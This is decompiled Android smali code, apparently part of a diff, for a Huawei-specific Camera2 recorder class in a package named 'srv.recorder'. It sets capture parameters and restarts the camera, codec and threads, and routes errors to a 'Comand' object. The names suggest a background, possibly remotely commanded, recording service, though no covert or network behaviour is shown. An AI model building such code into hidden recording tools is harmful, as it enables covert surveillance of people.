iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 198
|
||||
:goto_1
|
||||
:try_start_2
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
invoke-virtual {v0}, Landroid/hardware/camera2/CameraDevice;->close()V
|
||||
:try_end_2
|
||||
.catch Ljava/lang/Exception; {:try_start_2 .. :try_end_2} :catch_2
|
||||
|
||||
goto :goto_2
|
||||
|
||||
:catch_2
|
||||
move-exception v0
|
||||
|
||||
.line 200
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 203
|
||||
:goto_2
|
||||
:try_start_3
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
if-eqz v0, :cond_1
|
||||
|
||||
.line 204
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {v0}, Landroid/media/MediaCodec;->stop()V
|
||||
|
||||
.line 205
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
invoke-virtual {v0}, Landroid/media/MediaCodec;->release()V
|
||||
:try_end_3
|
||||
.catch Ljava/lang/Exception; {:try_start_3 .. :try_end_3} :catch_3
|
||||
|
||||
goto :goto_3
|
||||
|
||||
:catch_3
|
||||
move-exception v0
|
||||
|
||||
.line 209
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
:cond_1
|
||||
:goto_3
|
||||
const/4 v0, 0x0
|
||||
|
||||
.line 212
|
||||
:try_start_4
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
invoke-static {v1}, Lcom/nvav/srv/recorder/CameraHUAWEI;->access$000(Lcom/nvav/srv/recorder/CameraHUAWEI;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
if-eqz v1, :cond_2
|
||||
|
||||
.line 213
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
invoke-static {v1}, Lcom/nvav/srv/recorder/CameraHUAWEI;->access$000(Lcom/nvav/srv/recorder/CameraHUAWEI;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {v1}, Landroid/view/Surface;->release()V
|
||||
|
||||
.line 214
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
invoke-static {v1, v0}, Lcom/nvav/srv/recorder/CameraHUAWEI;->access$002(Lcom/nvav/srv/recorder/CameraHUAWEI;Landroid/view/Surface;)Landroid/view/Surface;
|
||||
:try_end_4
|
||||
.catch Ljava/lang/Exception; {:try_start_4 .. :try_end_4} :catch_4
|
||||
|
||||
goto :goto_4
|
||||
|
||||
:catch_4
|
||||
move-exception v1
|
||||
|
||||
.line 217
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v2, v1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 220
|
||||
:cond_2
|
||||
:goto_4
|
||||
:try_start_5
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mOutputSurfaces:Ljava/util/List;
|
||||
|
||||
invoke-interface {v1}, Ljava/util/List;->clear()V
|
||||
|
||||
.line 221
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iput-object v0, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mOutputSurfaces:Ljava/util/List;
|
||||
:try_end_5
|
||||
.catch Ljava/lang/Exception; {:try_start_5 .. :try_end_5} :catch_5
|
||||
|
||||
goto :goto_5
|
||||
|
||||
:catch_5
|
||||
move-exception v1
|
||||
|
||||
.line 223
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v2, v1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 225
|
||||
:goto_5
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iput-object v0, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mMediaCodec:Landroid/media/MediaCodec;
|
||||
|
||||
.line 226
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iput-object v0, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
.line 228
|
||||
:try_start_6
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
invoke-static {v1}, Lcom/nvav/srv/recorder/CameraHUAWEI;->access$000(Lcom/nvav/srv/recorder/CameraHUAWEI;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->removeTarget(Landroid/view/Surface;)V
|
||||
:try_end_6
|
||||
.catch Ljava/lang/Exception; {:try_start_6 .. :try_end_6} :catch_6
|
||||
|
||||
goto :goto_6
|
||||
|
||||
:catch_6
|
||||
move-exception v0
|
||||
|
||||
.line 230
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
:goto_6
|
||||
const-wide/16 v0, 0x2ee
|
||||
|
||||
.line 233
|
||||
:try_start_7
|
||||
invoke-static {v0, v1}, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->sleep(J)V
|
||||
:try_end_7
|
||||
.catch Ljava/lang/Exception; {:try_start_7 .. :try_end_7} :catch_7
|
||||
|
||||
goto :goto_7
|
||||
|
||||
:catch_7
|
||||
move-exception v0
|
||||
|
||||
.line 235
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 238
|
||||
:goto_7
|
||||
:try_start_8
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->mThread:Landroid/os/HandlerThread;
|
||||
|
||||
invoke-virtual {v0}, Landroid/os/HandlerThread;->interrupt()V
|
||||
|
||||
.line 239
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->mThread2:Landroid/os/HandlerThread;
|
||||
|
||||
invoke-virtual {v0}, Landroid/os/HandlerThread;->interrupt()V
|
||||
|
||||
.line 240
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->mThread3:Landroid/os/HandlerThread;
|
||||
|
||||
invoke-virtual {v0}, Landroid/os/HandlerThread;->interrupt()V
|
||||
:try_end_8
|
||||
.catch Ljava/lang/Exception; {:try_start_8 .. :try_end_8} :catch_8
|
||||
|
||||
goto :goto_8
|
||||
|
||||
:catch_8
|
||||
move-exception v0
|
||||
|
||||
.line 242
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
.line 244
|
||||
:goto_8
|
||||
sget-boolean v0, Lcom/nvav/srv/recorder/CameraHUAWEI;->Restarting:Z
|
||||
|
||||
if-eqz v0, :cond_3
|
||||
|
||||
.line 246
|
||||
:try_start_9
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
invoke-virtual {v0}, Lcom/nvav/srv/recorder/CameraHUAWEI;->StartRestart()V
|
||||
:try_end_9
|
||||
.catch Ljava/lang/Exception; {:try_start_9 .. :try_end_9} :catch_9
|
||||
|
||||
goto :goto_9
|
||||
|
||||
:catch_9
|
||||
move-exception v0
|
||||
|
||||
.line 248
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2$1;->this$1:Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->comand:Lcom/nvav/srv/recorder/Comand;
|
||||
|
||||
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
|
||||
|
||||
:cond_3
|
||||
:goto_9
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,461 @@
|
||||
.class Lcom/nvav/srv/recorder/CameraHUAWEI$2;
|
||||
.super Landroid/hardware/camera2/CameraCaptureSession$StateCallback;
|
||||
.source "CameraHUAWEI.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/CameraHUAWEI;)V
|
||||
.locals 0
|
||||
|
||||
.line 148
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
invoke-direct {p0}, Landroid/hardware/camera2/CameraCaptureSession$StateCallback;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onActive(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.locals 2
|
||||
|
||||
.line 273
|
||||
invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
|
||||
|
||||
move-result-wide v0
|
||||
|
||||
invoke-static {v0, v1}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
filled-new-array {p1}, [Ljava/lang/Object;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string v0, "time %d"
|
||||
|
||||
invoke-static {v0, p1}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string v0, "CameraCaptureSession ac"
|
||||
|
||||
invoke-static {v0, p1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onClosed(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onConfigureFailed(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.locals 0
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
.method public onConfigured(Landroid/hardware/camera2/CameraCaptureSession;)V
|
||||
.locals 5
|
||||
|
||||
.line 152
|
||||
:try_start_0
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraHUAWEI;->access$102(Lcom/nvav/srv/recorder/CameraHUAWEI;Landroid/hardware/camera2/CameraCaptureSession;)Landroid/hardware/camera2/CameraCaptureSession;
|
||||
|
||||
.line 153
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mCamera:Landroid/hardware/camera2/CameraDevice;
|
||||
|
||||
const/4 v1, 0x3
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CameraDevice;->createCaptureRequest(I)Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
.line 154
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraHUAWEI;->access$000(Lcom/nvav/srv/recorder/CameraHUAWEI;)Landroid/view/Surface;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {p1, v0}, Landroid/hardware/camera2/CaptureRequest$Builder;->addTarget(Landroid/view/Surface;)V
|
||||
|
||||
.line 155
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_TARGET_FPS_RANGE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
new-instance v1, Landroid/util/Range;
|
||||
|
||||
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraHUAWEI;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
const/4 v3, 0x4
|
||||
|
||||
aget-object v2, v2, v3
|
||||
|
||||
invoke-static {v2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
|
||||
|
||||
move-result v2
|
||||
|
||||
invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v2
|
||||
|
||||
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v3, v3, Lcom/nvav/srv/recorder/CameraHUAWEI;->CamResFPS:[Ljava/lang/String;
|
||||
|
||||
const/4 v4, 0x5
|
||||
|
||||
aget-object v3, v3, v4
|
||||
|
||||
invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
|
||||
|
||||
move-result v3
|
||||
|
||||
invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v3
|
||||
|
||||
invoke-direct {v1, v2, v3}, Landroid/util/Range;-><init>(Ljava/lang/Comparable;Ljava/lang/Comparable;)V
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 156
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraHUAWEI;->access$200(Lcom/nvav/srv/recorder/CameraHUAWEI;)V
|
||||
|
||||
.line 157
|
||||
sget-boolean p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->Restarting:Z
|
||||
|
||||
if-eqz p1, :cond_0
|
||||
|
||||
.line 158
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SCALER_CROP_REGION:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->rect:Landroid/graphics/Rect;
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 159
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_EXPOSURE_COMPENSATION:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->aec:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 160
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_EFFECT_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->cem:I
|
||||
|
||||
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 161
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_REGIONS:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->cafr:[Landroid/hardware/camera2/params/MeteringRectangle;
|
||||
|
||||
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
|
||||
|
||||
.line 162
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEI;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
|
||||
|
||||
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureRequest$Key;
|
||||
|
||||
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEI$2;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEI;
|
||||
|
||||
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEI;->ss:I
|
||||
|
||||
